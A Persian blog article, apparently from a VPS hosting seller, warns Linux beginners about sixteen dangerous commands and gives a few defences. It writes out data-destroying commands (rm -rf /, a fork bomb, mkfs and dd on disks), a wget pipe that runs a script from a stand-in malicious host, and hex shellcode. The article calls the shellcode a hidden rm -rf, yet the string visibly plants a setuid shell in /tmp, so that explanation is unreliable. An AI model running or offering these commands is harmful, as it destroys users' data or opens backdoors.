۱۶ دستور خطرناک و مرگبار لینوکس که هرگز نباید اجرا کنید!
دست نزن جیزه! ما بزرگسال ها فراوان ترین چیزی که به کودکان می گوییم، این است. خردسالی که به دنبال کشف دنیای پیرامون خود است، با کوچکترین اشتباه می تواند بلاهای جبران ناپذیری سر خود بیاورد و به همین دلیل نیاز است که با خطرات آشنا شود. اما این موضوع چه ربطی به موضوع مقاله ما دارد؟ فردی که به تازگی وارد دنیای لینوکس شده است، آشنایی کاملی با کامندها ندارد و می تواند با یک کامند اشتباه، تمامی رشته های خود را پنبه کند و سیستم عامل خودش را در معرض خطر قرار دهد. اما اگر با دستوراتی که خطرناک هستند آشنا باشد، در این صورت می تواند با خیال راحت کار کند و از مزیت ها و ویژگی های لینوکس بهره ببرد و به همین دلیل است که ما می گوییم لینوکس یک شمشیر دو لبه است.
پیشگیری بهتر از درمان است. یعنی شما به جای آن که انواع کد ها را استفاده کنید و بعد به فکر رفع مشکل ایجاد شده باشید، بهتر است با کدهای مخرب آشنا باشید و بتوانید با خیال راحت با سیستم عامل لینوکس خودتان کار کنید و آن را بشناسید. در صورتی که این کدها را ندانید، از کار کردن با لینوکس واهمه خواهید داشت و نمی توانید به آن مسلط شوید.
ما تصمیم گرفتیم که تعدادی از کدهایی که می تواند برایتان خطر آفرین باشد را در این مقاله برایتان بیاوریم. دانستن کدهایی که شما را به دردسر می اندازد، یک روش پیشگیری بسیار موثر است. پس اگر شما هم از کاربران مبتدی هستید، این مقاله را از دست ندهید.
در صورتی که دوست دارید با لینوکس کار کنید، توصیه می کنیم به صفحه خرید سرور مجازی لینوکس (Buy Linux VPS) مراجعه کنید و این کار را با کمک سرور مجازی لینوکس شروع کنید. چرا که تخصص تیم پشتیبانی سرور مجازی، قوت قلب شما در حفظ عملکرد و امنیت سرورتان خواهد بود.
rm -rf / .1
دستور rm یک دستور لینوکس است که برای حذف فایلها و پوشهها با توجه به آرگومانهای استفاده شده استفاده میشود. با این حال، باید با احتیاط شدید از دستور rm استفاده کرد، زیرا یک اشتباه کوچک میتواند به خرابی ناقابل بازیابی سیستم منجر شود.
هنگامی که دستور به عنوان روت با آرگومان / rf- اجرا شود، به صورت بازگشتی همه فایلها و پوشهها را در سیستم شما از روت (/) که بالاترین ساختار سلسلهمراتبی پوشهها در لینوکس است، حذف میکند. به طور خلاصه، دستور / rm -rf کاملاً سیستم شما را پاک کرده و باعث خرابی و بازیابیناپذیر شدن سیستم میشود.
بعضی از گزینههای استفاده شده با دستور rm عبارتند از:
دستور rm در لینوکس برای حذف فایلها استفاده میشود.
دستور rm -r پوشه را به صورت بازگشتی حذف میکند، حتی اگر پوشه خالی باشد.
دستور rm -f فایل “Read only File” را بدون پرسیدن حذف میکند.
دستور / rm -rf: تمامی چیزها در پوشه ریشه (root) را به صورت اجباری حذف میکند
دستور * rm -rf: تمامی چیزها در پوشه فعلی/پوشه کاری (working directory) را به صورت اجباری حذف میکند.
دستور . rm -rf: پوشه فعلی و زیرپوشههای آن را به صورت اجباری حذف میکند.
در واقع زمانی که فرمان را به عنوان یک کاربر معمولی اجرا می کنید، دو اخطار در ترمینال دریافت خواهید کرد.
برای جلوگیری از حذف تصادفی فایلها توسط دستور “rm”، میتوانید یک اختصار برای این دستور با نام “rm -i” در فایل “bashrc.” ایجاد کنید. این اختصار باعث میشود قبل از هر حذف، از شما تاییدی دریافت کند.
:(){:|:&};: .2
در واقع، گزینهی فوق یک نوع ویروس است که با نام “fork bomb” شناخته میشود. این ویروس با ایجاد یک تابع به نام “:” عمل میکند که خود را دو بار، یک بار در پیش زمینه و یک بار در پس زمینه فراخوانی میکند. این تابع به صورت تکراری اجرا میشود و به این ترتیب، تمام منابع سیستم را به خود اختصاص میدهد و باعث برخورد سیستم میشود.
در واقع، این دستور یک نوع حملهی انکار سرویس (DoS) است و به عنوان ویروس Wabbit یا Rabbit نیز شناخته میشود. بدترین بخش این است که برای اجرای این حمله، نیازی به داشتن دسترسی روت (root) نیست.
خوشبختانه، شما میتوانید از این حمله خود را محافظت کنید با محدود کردن تعداد فرآیندهایی که توسط کاربران محلی اجرا میشوند به حدود 4000.
شما میتوانید این کار را با اجرای دستور زیر انجام دهید:
$ ulimit -S -u 4000
بعداً می توانید با استفاده از دستور زیر را تأیید کنید:
$ ulimit -u
> /dev/sda .3
اجرای یک دستور به همراه >/dev/sda باعث پاک شدن بلاک /dev/sda در هارد دیسک شما میشود. این بلاک حاوی اطلاعات فایل سیستم است و وقتی پاک شود، باعث تلف شدن سیستم میشود که قابل بازیابی نیست.
4. mv folder /dev/null
یک عملیات مضر دیگر که نباید امتحان کنید، جابجایی یک پوشه یا فایل به /dev/null است. فایل /dev/null یک نوع ویژه از فایل است که به عنوان دستگاه تهی یا “چاله سیاه” شناخته میشود. هر چیزی که به /dev/null منتقل شود، از بین میرود.
دستور زیر تمام محتویات پوشه خانه کاربر را به /dev/null منتقل میکند و در نتیجه تمام دادههای موجود در پوشه کاربر را دور میاندازد.
# mv /home/user/* /dev/null
5. wget http://malicious_source -O- | sh
دستور wget دستوری است که فایل ها را از وب یا سرور فایل دانلود می کند. دستور بالا یک اسکریپت را از یک منبع مخرب دانلود می کند و سپس آن را اجرا می کند.
6. mkfs.ext3 /dev/sda
دستور mkfs برای ایجاد یک فایل سیستم جدید (مانند ext2، ext3، ext4 و غیره) روی یک دستگاه ذخیرهسازی فرمتبندیشده، در اکثر موارد یک پارتیشن از یک هارد دیسک استفاده میشود. اجرای دستور mkfs بر روی یک پارتیشن، تمامی دادههای ذخیره شده در آن را پاک میکند.
اگرچه در فرمتبندی پارتیشنهای دیسک مفید است، اما فرمتبندی کردن یک درایو کامل (مانند mkfs.ext3 /dev/sda) سیستم را کرش میکند و آن را در وضعیتی غیرقابل بازیابی به خواب میبرد. این اتفاق به این دلیل رخ میدهد که تمامی فایلهای سیستمی را به همراه دادههای شخصی شما نابود میکند.
همچنین این دستور میتواند در اشکال متفاوتی اجرا شود، همانطور که در زیر نشان داده شده است.
# mkfs.ext4 /dev/sda# mkfs.xfs /dev/sda# mkfs.btrfs /dev/sda
> file .7
علامت “>” در لینوکس محتوای یک فایل را پاک میکند و آن را خالی میگذارد. این عمل مشابه دستور “cat /dev/null > file” است. به همین دلیل باید احتیاط کرد وقتی از اپراتورهای تغییر مسیر در سیستم لینوکس استفاده میکنید.
در زیر یک نمونه از چگونگی عملکرد این دستور در برابر یک فایل متنی آورده شده است. میتوانید تصور کنید که چه بلاهایی این دستور میتواند در صورت استفاده اشتباه از آن برای یک فایل پیکربندی به وقوع بیافتد.
^foo^bar .8
دستور ” foo^bar^” بسته به نحوه اجرای آن می تواند خطرناک یا مفید باشد. این دستور به شما اجازه میدهد که دستوراتی که قبلا اجرا شده اند را ویرایش کنید و دوباره اجرا کنید، اما اگه به تغییراتی که در آن دستورات انجام میشود دقت نکنید، احتمالا با وضعیت ناگواری مواجه شوید.
9. dd if=/dev/random of=/dev/sda
این دستور باعث پاک شدن بلاک /dev/sda و نوشتن دادههای بیاهمیت و تصادفی به این بلاک میشود. به این ترتیب سیستم شما به یک وضعیت نامتناسب و غیرقابل بازیابی خواهد رسید.
10. / Chmod -R 777
اگرچه این دستور ممکن است سیستم لینوکس شما را به طور فوری کرش ندهد، اما دستور chmod -R 777 / به صورت بازگشتی به همهی فایلهای سیستم لینوکس شما (شامل تمام فایلها و پوشهها) دسترسی کامل (خواندن، نوشتن و اجرا) را اختصاص میدهد.
به این ترتیب، تمامی فایلهای پیکربندی مهم و سایر فایلها برای همه کاربران قابل دسترس میشوند و این یک ریسک امنیتی بسیار بزرگ برای سیستم شما ایجاد میکند. هر کسی با قصد نامناسب میتواند با فایلهای حساس بازی کرده و به راحتی سیستم شما را خراب کند.
11. The Hidden Command
این دستور که در زیر آمده است، در واقع همان دستور قبلی است (rm -rf). در اینجا کدها به صورت هگز (Hex) پنهان شدهاند تا کاربر ناآگاهی را فریب دهد. اجرای این دستور در ترمینال شما باعث پاک شدن کامل پارتیشن ریشه (Root) شما میشود.
این دستور نشان میدهد که تهدید ممکن است پنهان و به طور معمول قابل تشخیص نباشد. شما باید از آنچه که انجام میدهید و نتیجه آن چه خواهد بود، آگاه باشید. کدها را از منابع ناشناخته کامپایل/اجرا نکنید.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
12. command > config_filename
این دستور برای پیکربندی فایل های مهم استفاده می شود. این کار دستوری به تنهایی نیست، بلکه بیشتر یک اقدام احتیاطی است.
همانطور که در بالا ذکر شد، عملگر “>” برای نوشتن در یک فایل استفاده میشود. این فقط هر چیزی را که قبلاً در فایل وجود داشته باشد دور میاندازد و اطلاعات جدید را در فایل جایگزین میکند.
command > config_filename
اگر از یک فایل پیکربندی مهم به عنوان مکانی برای نوشتن اطلاعات استفاده کنید، این عمل ممکن است محتوای فایل را جایگزین کند و سیستم را خراب کند.
13. crontab -r
دستور crontab -r به شما کمک میکند تا وظایف روزمره را به صورت خودکار انجام دهید. با این حال، همه دستورات و راههای دستورات در یک فایل crontab واحد نگهداری میشوند و با استفاده از r- این فایل حذف میشود. این ممکن است به اشتباه اتفاق بیفتد وقتی که شما قصد استفاده از e- را داشته باشید و به اشتباه r- را وارد کنید. احتیاط کنید زیرا قبل از حذف فایل، هیچ سوالی برای تأیید یا عدم تأیید وجود ندارد.
حتماً پشتیبانگیری از فایل crontab خود را انجام دهید؛ زیرا هنگامی که این فایل حذف شود، گزینههای بازیابی کمی وجود دارد.
14. gunzip untrusted.gz
باز کردن یک بایگانی نامعتبر ممکن است تبدیل به یک zip bomb شود که به عنوان decompression bomb نیز شناخته می شود. zip bomb یک فایل مخرب است که به سیستم حمله می کند تا آن را بخواند. هنگام از حالت فشرده خارج کردن فایل، فضای دیسک زیادی را اشغال می کند که می تواند برای بسیاری از سرویس های سیستم کشنده باشد.
بنابراین، بهتر است هنگام مدیریت بایگانیها از منابع نامعتبر مراقب باشید، زیرا zip bomb یکی از قدیمیترین فایلهای مخرب در اینترنت است.
15. Remove Python
قبل از اینکه به حذف نسخههای قدیمیتر پایتون از سیستم لینوکس خود فکر کنید، بدانید که سیستم برای عملکرد صحیح نیاز به یک نصبشدهی پایتون 2 کارآمد دارد. حذف نسخه پیشفرض پایتون در اوبونتو باعث میشود که مدیر نمایش گرافیکی که برای ورود به سیستم استفاده میشود، از کار بیفتد و شما به سیستم خود دسترسی نخواهید داشت.
با این حال، اگر می دانید چه کاری انجام می دهید، می توانید Python2.x.x و تمام وابستگی های آن را با اجرای زیر حذف نصب کنید:
sudo apt purge python2.x-minimal
16. Overwrite Hard Drive
اصطلاح “Overwrite Hard Drive” به معنای نوشتن مجدد بر روی هارد دیسک است، به طور تصادفی فرمت دادن هارد دیسک بد بوده است، اما امکان بازنویسی هارد دیسک با استفاده از داده های خام وجود دارد. حداقل فرمت دادن یک روش واقعی با کاربردهای عملی است، اما نوشتن مجدد هارد دیسک به صورت مستقیم کار خوبی نیست.
<em><span class="hljs-built_in">command</span></em> > /dev/hda
این دستور میتواند جایگزین هر دستور Bash دیگری شود. عملگر “>” خروجی دستور سمت چپ را به فایل سمت راست هدایت میکند. در این حالت، مهم نیست خروجی دقیق دستور سمت چپ چیست، زیرا دادههای خام به کار گرفته شده و برای نوشتن مجدد هارد دیسک سیستم استفاده میشوند.
همانطور که میتوانید تصور کنید، این باعث بیاستفاده شدن هارد دیسک میشود.
سخن آخر
در این مقاله ما لیستی از کامند ها را که شما را به دردسر می اندازد، بیان کردیم. دقت کنید که قرار نیست که شما از ترس اشتباه کردن، از کار کردن با لینوکس بترسید. تا زمانی که شما ریسک نکنید و اشتباه نکنید، نمی توانید به خوبی به لینوکس مسلط شوید. علاوه بر آن که دانستن دستورات خطر آفرین می تواند برایتان مفید باشد، آشنایی با پرکاربردترین دستورات لینوکس برای افراد مبتدی هم می تواند مفید باشد. پس حتما این مقاله را در سایت ما مطالعه کنید.
توصیه دیگری داریم، این است که دستوراتی که در منابع نامشخص و غیرمطمئن وجود دارد، استفاده نکنید و همیشه امنیت لینوکس را در نظر بگیرید.
اگر این مقاله برایتان مفید بود، حتما با دوستانتان به اشتراک بگذارید و اگر سوالی در این زمینه دارید، با ما در قسمت نظرات مطرح کنید تا در سریع ترین زمان پاسخ دهیم.
سوالات متداول:
چه تدابیری برای جلوگیری از اجرای دستورات خطرناک لینوکس وجود دارد؟
- استفاده از حسابهای کاربری با مجوز کمتر (مانند حساب کاربری عادی به جای حساب کاربری روت)
- دقت و دقت بالا در وارد کردن دستورات و بررسی دقیق قبل از اجرا
- انجام پشتیبانگیری منظم از اطلاعات مهم سیستم
- استفاده از قابلیتها و ابزارهای امنیتی لینوکس مانند SELinux و AppArmor
دستور "rm -rf /" چه کاربردی دارد و چرا خطرناک است؟
این دستور برای حذف تمامی فایلها و پوشههای موجود در سیستم عامل لینوکس به صورت بازگشتی (بدون دریافت هشداری از کاربر) استفاده میشود. این دستور بسیار خطرناک است، زیرا میتواند تمامی اطلاعات مهم و حیاتی سیستم، از جمله فایلها، پوشهها و حتی فایلهای سیستمی را حذف کند و به تخریب کامل سیستم منجر شود.